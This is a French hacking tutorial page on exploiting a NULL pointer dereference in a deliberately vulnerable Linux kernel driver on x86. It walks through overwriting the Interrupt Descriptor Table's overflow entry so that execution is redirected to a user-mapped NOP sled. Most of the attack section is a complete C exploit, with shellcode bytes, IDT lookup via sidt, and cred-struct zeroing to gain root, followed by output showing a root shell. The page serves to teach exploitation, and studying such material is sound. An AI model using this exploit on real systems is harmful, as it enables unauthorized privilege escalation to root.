Exploiting the unexploitable


<< Exploitation des NULL pointers Exploit perf_events >>


III°) Exploiter l'inexploitable

Rediriger l'exécution vers l'userland
   Passons maintenant aux choses sérieuses avec l'exploitation de NULL Pointer Dereferences, dans le cas où des données non-contrôlées sont écrites sur un pointeur contrôlé par l'utilisateur. Afin de simuler ce comportement, nous allons toujours utiliser le driver kerneltime_device avec une vulnérabilité dans le bloc suivant :
    if (time_info->info)
      *(time_info->info) = time_info->update();
Ceci dit, nous allons mettre time_info->update à sa valeur en fonctionnement normal, soit current_kernel_time que nous allons pouvoir retrouver dans la liste des symboles du kernel. Dans ce cas, la seule chose que nous contrôlons est time_info->info. Nous avons donc des données que nous ne contrôlons pas (le nombre de secondes/nanosecondes du temps kernel) qui sont écrites dans une zone que nous contrôlons. A première vue, cela ne paraît pas évident à exploiter.. Inexploitable ? Mais non. Nous voulons exécuter du code que nous contrôlons. Le code que nous contrôlons se trouve n'importe où en dessous de 0xc0000000. Il faudrait donc trouver un espace à réécrire en kernel space qui pousse ce dernier à exécuter du code en userland.
On se rappelle alors l'exploit Vmsplice. Pourquoi ne pas réécrire la table des appels systèmes ? En modifiant le dernier byte d'une entrée de la table (le 0xc0) avec une valeur plus petite que 0xc0, un appel ultérieur provoquerait une exécution de code en userland. Ceci dit, après réflexion, ça ne paraît pas génial. Il est vrai que depuis quelques années, empêcher l'accès à la table des appels systèmes semble être devenu un sport national au pays des développeurs du kernel. Elle a été déplacée plusieurs fois, puis les symboles permettant de la reconnaître ont cessé d'être exportés. Au final, elle a fini dans le segment data read-only du kernel, il paraît donc difficile d'effectuer une attaque un peu généraliste qui tienne la route. Il faut donc chercher un mécanisme équivalent, qui peut être déclenché depuis l'espace utilisateur et qui permet l'exécution de code. On feuillete donc son exemplaire de "Understanding the Linux Kernel" et on se dit que les portes d'entrée dans le kernel ne sont pas si nombreuses : les appels systèmes, les drivers et modules dynamiques... et les interruptions !

Interrupt Descriptor Table
   Parmi ces interruptions existent les exceptions logicielles, comme la division par zéro, une opération obligeant un registre à effectuer un overflow d'entier, ou encore un opcode invalide lors de l'exécution du programme. Toutes ces fautes sont détectées par le processeur et causent l'exécution d'une routine d'interruption associée. La liste des routines d'interruptions liées à chaque numéro d'interruption est gardée dans une table système particulière : l'IDT (Interrupt Descriptor Table). En y regardant en détail, on voit qu'un type particulier d'exceptions nous intéresse, dénommé sous Linux les Portes Système (System Gate). 3 exceptions particulières en font partie : l'exception overflow, l'exception Bounds Check et l'exception System Call. Ce type d'exception peut être déclenché en User Mode (ce que nous cherchions).
Puisque les interruptions et exceptions sont en majeure partie gérées par le processeur, notre exploitation sera donc dépendante d'une architecture, ici Intel x86. Dans ce cas, ces trois exceptions, qui sont respectivement aux index 4, 5 et 128 de l'IDT, peuvent se déclencher par les instructions into, bound et int $0x80 que nous connaissons.
Nous pouvons donc déclencher facilement une exception. Focalisons nous sur l'exception overflow, même si les autres pourraient également être utilisées (bien que réécrire l'exception menant à l'appel d'un syscall pourrait être dommageable). En lisant les détails de l'instruction into, on se rend compte que celle-ci déclenchera une exception si le bit OF (Overflow Flag) est à 1 dans le Flag Register. Facile !
    pushf //mets le flag register sur la pile
    orl [esp], 2048 //mets le 11e bit = OF à 1
    popf //recharge le flag register
    into //déclenche l'exception overflow
Puisque les handlers s'exécutent en mode superviseur, nous avons trouvé notre porte d'entrée dans le kernel. Il nous faut désormais trouver l'IDT. L'adresse et la longueur de l'IDT peuvent facilement être trouvée avec l'instruction sidt (Store IDT), qui va chercher une structure comprenant la taille limite de la table ainsi que son adresse de base. Maintenant, il faut connaître la taille des entrées de cette table afin de pouvoir retrouver la structure contenant l'exception overflow, que nous savons à l'index 4. Après quelques recherches, on trouve donc sa structure :
    - 2 bytes : bytes de poids faible de l'adresse de la routine d'interruption
    - 2 bytes : état, différents usages selon le type d'interruption
    - 2 bytes : sélecteur de segment ou de TSS
    - 2 bytes : bytes de poids fort de l'adresse de la routine d'interruption
Sans rentrer dans les détails des bits qui nous intéressent moins, on voit donc qu'elle est composée de champs de 64 bits (8 bytes). La particularité de cette structure est que l'adresse de la routine d'interruption est divisée en deux. Les deux premiers bytes sont les deux bytes les moins significatifs, tandis que les deux derniers sont les bytes de poids fort, le tout tout de même stocké en little-endian, c'est à dire que le premier byte de la structure est le byte de poids le plus faible, le deuxième est le deuxième byte le plus faible, le septième est le deuxième byte le plus fort, et le byte le plus fort est donc le huitième. Ainsi, on sait que le huitième byte est ce 0xc0 que nous cherchons à modifier par un autre nombre, plus petit.

Exécution arbitraire
   Nous avons donc un moyen générique (du moins vis-à-vis du noyau) de détourner l'exécution vers l'userland : il suffirait de faire pointer la zone qui va être réécrite vers cette structure, et plus particulièrement vers le 8e byte du descripteur qui nous intéresse, dans notre cas le quatrième descripteur (celui de l'exception overflow). On se dit cependant que, si plus de deux bytes sont écrits, on est forcés de réécrire le descripteur suivant. En effet, afin d'effectuer une exploitation propre, la première chose à faire lorsque l'exécution sera détournée est de rétablir les valeurs correctes dans les structures de l'IDT. D'ailleurs, les symboles des différents handlers sont exportés par le kernel. Ceci dit, dans notre cadre de petite PoC, je ne l'ai pas implémenté. De plus, l'exception Bounds Check que nous risquons d'effacer n'est pas vraiment fréquente, ainsi que l'exception overflow d'ailleurs.
Par contre, dans notre cas, nous ne pouvons écrire que l'un des deux bytes de poids faible du temps kernel en secondes en lieu et place des deux bytes de poids fort de la routine d'interruption. Dans certains cas où le 2e byte de poids faible du temps en secondes est plus grand que 0xc0, il va falloir attendre assez longtemps (jusqu'à 4 heures dans le pire des cas) pour qu'il rebascule à 0x00. Nous allons donc préférer prendre le byte de poids le plus faible, qui va être incrémenté toutes les secondes et simuler un comportement aléatoire. Puisque la struct timespec qui va être écrite à partir du huitième byte du descripteur de l'exception overflow est longue de huit bytes également, elle ne modifiera pas un autre descripteur que celui de Bounds Check.
La dernière partie du travail est donc de mapper une grande zone mémoire dans laquelle on sait que l'exécution a de grande chances de retomber. Dans notre cas, il nous suffit de lire le byte de poids fort et de mapper toute la portion de mémoire qui commence par ce byte. Ainsi, si le byte que nous écrivons est 0x42, nous mapperons de 0x42000000 à 0x43000000. Ensuite, il nous suffit de remplir cet espace de NOPs et d'écrire notre code exécutable à la fin.

R00ting
Un dernier petit détail à régler : le code à faire tourner pour obtenir les droits root. Malheureusement, tout code ne peut pas être démarré à partir d'une routine d'interruption, afin d'éviter les deadlocks (car si du code bloquant démarre, alors tout le système est bloqué, les interruptions ayant toujours la priorité). Or, prepare_kernel_creds fait justement appel à du code bloquant dans le cas où son argument est nul. Nous allons donc faire ça de manière bien sale : d'après ce que nous avons vu de task_struct, on sait que les deux pointeurs vers les struct cred se suivent. Nous allons donc récupérer le task_struct du processus en cours, comme nous l'avions fait avec Vmsplice, puis nous allons chercher deux pointeurs de suite pointant vers l'espace kernel. Ensuite, il nous suffira de vérifier si aux adresses pointées on retrouve bien les suites uid/gid conformément à ce que l'on attend dans un struct cred.
Nous pouvons donc mettre toute ceci bout à bout dans le programme suivant :
    unsigned int our_uid;
    unsigned int our_gid;

    static __always_inline unsigned long current_stack_pointer(void) {
      unsigned long sp;
      asm volatile ("movl %%esp,%0" : "=r" (sp));

      return sp;
    }

    #define TASK_RUNNING 0
    /* "Generic" ways to find the current task struct on x86 */
    static __always_inline unsigned long current_task_struct(void) {
      unsigned long task_struct, thread_info;

      thread_info = current_stack_pointer() & ~(4096 - 1);

      if (*(unsigned long *)thread_info >= 0xc0000000) {
        task_struct = *(unsigned long *)thread_info;

        if (*(unsigned long *)task_struct == TASK_RUNNING)
          return task_struct;
      }

      task_struct = current_stack_pointer() & ~(8192 - 1);

      if (*(unsigned long *)task_struct == TASK_RUNNING)
        return task_struct;

      thread_info = task_struct;

      task_struct = *(unsigned long *)thread_info;

      if (*(unsigned long *)task_struct == TASK_RUNNING)
        return task_struct;

      return -1;
    }

    static int get_root() {
      unsigned int *task_struct;

      task_struct = (unsigned int *)current_task_struct();

      /* guick & dirty trick to get cred structs in recent kernels */
      while(task_struct) {
        /* If we got two successive pointers to kernel space, we will suppose these may be cred structs */
        if (task_struct[0] >= 0xc0000000 && task_struct[1] >= 0xc0000000) {
          unsigned int *cred_struct = (unsigned int *)task_struct[0];
          unsigned int *cred_struct2 = (unsigned int *)task_struct[1];

          /* Verify those are valid struct cred */
          if (cred_struct[1] == our_uid && cred_struct[2] == our_gid && cred_struct[3] == our_uid && cred_struct[4] == our_gid && cred_struct2[1] == our_uid && cred_struct2[2] == our_gid && cred_struct2[3] == our_uid && cred_struct2[4] == our_gid) {

            /* nullify all uids & gids */
            cred_struct[1] = cred_struct[2] = cred_struct[3] =
            cred_struct[4] = cred_struct[5] = cred_struct[6] =
            cred_struct[7] = cred_struct[8] = cred_struct2[1] =
            cred_struct2[2] = cred_struct2[3] = cred_struct2[4] =
            cred_struct2[5] = cred_struct2[6] = cred_struct2[7] =
            cred_struct2[8] = 0;
            break;

          }
        }

        task_struct++;
      }

      return -1;
    }

    /* retrieve IDT address and return the adress of any entry */
    unsigned long get_idt_entry(unsigned int entry) {

      struct {
        unsigned short int limit;
        unsigned int base;
      } __attribute__((packed)) idt;

      asm("sidt %0" : "=m"(idt));

      return idt.base + (entry << 3);
    }

    / cause exception #4 */
    void cause_overflow() {
      asm ("pushf; orl $2048,(%esp); popf; into");
    }

    /* code to load any function and return from interrupt */
    unsigned char evil[] = "\x60" //pusha;
      "\xBB""XXXX" // mov ebx, 0xXXXX
      "\xFF\xD3" // call ebx
      "\x61" //popa, reload context
      "\xCF"; // iret

    /* Fill 0x1000000 bytes with NOP and some evil code */
    void prepare_memory(unsigned char base) {

      void * mem = mmap((void *) (base << 24), 0x01000000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0);

      if (mem == MAP_FAILED) {
        printf("Exploit failed (mapping @ 0x%x)\n",(unsigned int) (base << 24));
        exit((int)mem);
      }

      memset(mem,0x90,0x01000000); //fill with NOPs

      *(unsigned long *) (evil + 2) = (unsigned long)get_root;
      memcpy(mem + 0x1000000 - sizeof(evil),evil,sizeof(evil)-1); //fill with NOPs

    }

    #define OVERFLOW_ENTRY 4

    int main() {
      int file_desc;
      struct timespec time_info;

      if ((file_desc = open(DEVICE_NAME,0)) < 0) {
        printf("Can't open device file: %s\n", DEVICE_NAME);
        exit(1);
      }

      //getting uid/gid to retrieve the 2 struct cred
      our_uid = getuid();
      our_gid = getgid();

      mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0);

      //getting most significant byte
      *(unsigned long *)4 = get_kernel_sym("current_kernel_time"); // normal value
      *(unsigned long *)0 = 8; // overriden address
      ioctl(file_desc, IOCTL_UPDATE_TIME, &time_info);

      *(unsigned long *)0 = get_idt_entry(OVERFLOW_ENTRY) + 7; // overriden address
      prepare_memory(*(unsigned char *)8);
      ioctl(file_desc, IOCTL_UPDATE_TIME, &time_info); //overwrite IDT

      cause_overflow(); //cause overflow exception

      close(file_desc);
      spawn_shell();

      return -1;
    }
Les trois premières fonctions effectuent ce que nous venons de décrire : un moyen relativement générique de trouver le task_struct du processus en cours, puis remise à zéro des uids/gids dans get_root(). Un peu plus loin nous avons la fonction get_idt_entry(), qui va utiliser l'instruction sidt pour retrouver l'adresse de base de l'IDT, puis y ajouter l'offset désiré pour retrouver l'adresse de n'importe quel descripteur d'interruption. Immédiatement après, nous avons notre petite séquence d'instructions permettant de lancer l'exception overflow. Enfin, nous trouvons le code à démarrer depuis l'exception : il sauvegarde d'abord tous les registres pour ne pas les modifier, appelle la fonction à l'adresse 0xXXXX, restaure les registres sauvegardés, puis effectue un iret (return from interrupt) pour reprendre l'exécution normale du programme. La fonction suivante se charge de réserver un espace mémoire de taille 0x1000000, le remplit avec des NOPs puis insère le bout de code qui servira de routine d'interruption, en remplaçant les bytes XXXX par l'adresse effective de la fonction get_root(). Le main() ordonnance toutes ces différentes parties en récupérant tout d'abord les ids afin de retrouver les struct cred, puis mappe l'adresse 0, avant d'effectuer une première écriture du temps kernel à l'adresse 0x8, afin de connaître ce byte de poids fort et pouvoir mapper la région correspondante. Ensuite, le réel overflow a lieu afin d'écraser l'IDT, puis l'exception est levée. Aurons-nous le shell root à a fin ?
    $ ./nullderef_write_root
    Exploit failed (mapping @ 0xc2000000)
    $ ./nullderef_write_root
    sh-3.2# whoami
    root
    sh-3.2# exit
    exit
    $
Parfait ! Nous avons notre beau shell root, même si nous avons un peu semé la zizanie au sein de l'IDT. Une "belle" exploitation prendrait la peine de restaurer ses entrées.


<< Exploitation des NULL pointers Exploit perf_events >>



3 Commentaires

Anonyme 19/10/10 07:57
Un shellcode, c'est ni plus ni moins que du code machine qui est conçu de façon à ouvrir un terminal à l'attaquant. Donc on peut effectuer des attaques utilisant du "shellcode" sur tout environnement. Le shellcode ne sera pas le même ceci dit.

Anonyme 15/10/10 16:18
J'ai une question un peu stupide^^, Ou peut t'on coder en shellcode, quel plate formes ??

Anonyme 11/05/10 14:08
Sw33t !




Commentaires désactivés.

Apprendre la base du hacking - Liens sécurité informatique/hacking - Contact

Copyright © Bases-Hacking 2007-2014. All rights reserved.